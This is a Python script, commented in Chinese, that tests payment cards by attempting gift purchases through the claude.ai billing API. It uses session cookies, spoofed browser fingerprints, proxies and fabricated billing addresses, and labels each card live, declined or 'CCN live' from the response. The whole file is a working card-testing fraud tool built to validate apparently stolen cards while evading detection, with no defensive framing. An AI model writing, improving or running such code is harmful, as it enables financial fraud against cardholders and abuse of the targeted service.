from curl_cffi import requests # 用于模拟指纹 from config import PRODUCT_ID, get_proxy from models import ClaudeAccount from identity import random_address class GiftChecker: def __init__(self, account: ClaudeAccount): self.account = account def purchase(self, pm_id): """尝试购买 Gift""" url = f"https://claude.ai/api/billing/{self.account.org_uuid}/gift/purchase" headers = { "Host": "claude.ai", "User-Agent": self.account.user_agent, "Content-Type": "application/json", "Accept": "*/*", "Anthropic-Client-Version": "1.0.0", "Anthropic-Client-Platform": "web_claude_ai", "Anthropic-Device-Id": self.account.device_id, "Origin": "https://claude.ai", "Referer": "https://claude.ai/gift", "Cookie": f"sessionKey={self.account.session_key}" } payload = { "product_id": PRODUCT_ID, "currency": "USD", "payment_method_id": pm_id, "to_email": self.account.email, "to_name": "", "from_name": "Checker", "from_email": self.account.email, "gift_message": "", "card_color": "clay", "billing_address": random_address(), "scheduled_delivery_at": None } try: print(f"[*] 正在尝试扣款 (Gift Purchase)...") resp = requests.post(url, json=payload, headers=headers, impersonate="chrome124", proxies=get_proxy()) resp_json = {} try: resp_json = resp.json() except: pass if resp.status_code == 200: print("[$$$] 成功! CHARGED! 该卡有效 (Live)!") return "LIVE" elif resp.status_code == 402: err_msg = resp_json.get("error", {}).get("message", "Unknown error") print(f"[-] 支付失败 (402): {err_msg}") if "declined" in err_msg.lower(): return "DECLINED" elif "insufficient" in err_msg.lower(): return "INSUFFICIENT_FUNDS" elif "security code" in err_msg.lower() or "cvc" in err_msg.lower(): print("[!] CCN LIVE (CVC 错误,说明卡号有效)") return "CCN_LIVE" else: return "DEAD" else: print(f"[-] 未知响应 Code: {resp.status_code}, Body: {resp.text}") return "ERROR" except Exception as e: print(f"[-] 购买请求异常: {e}") return "ERROR"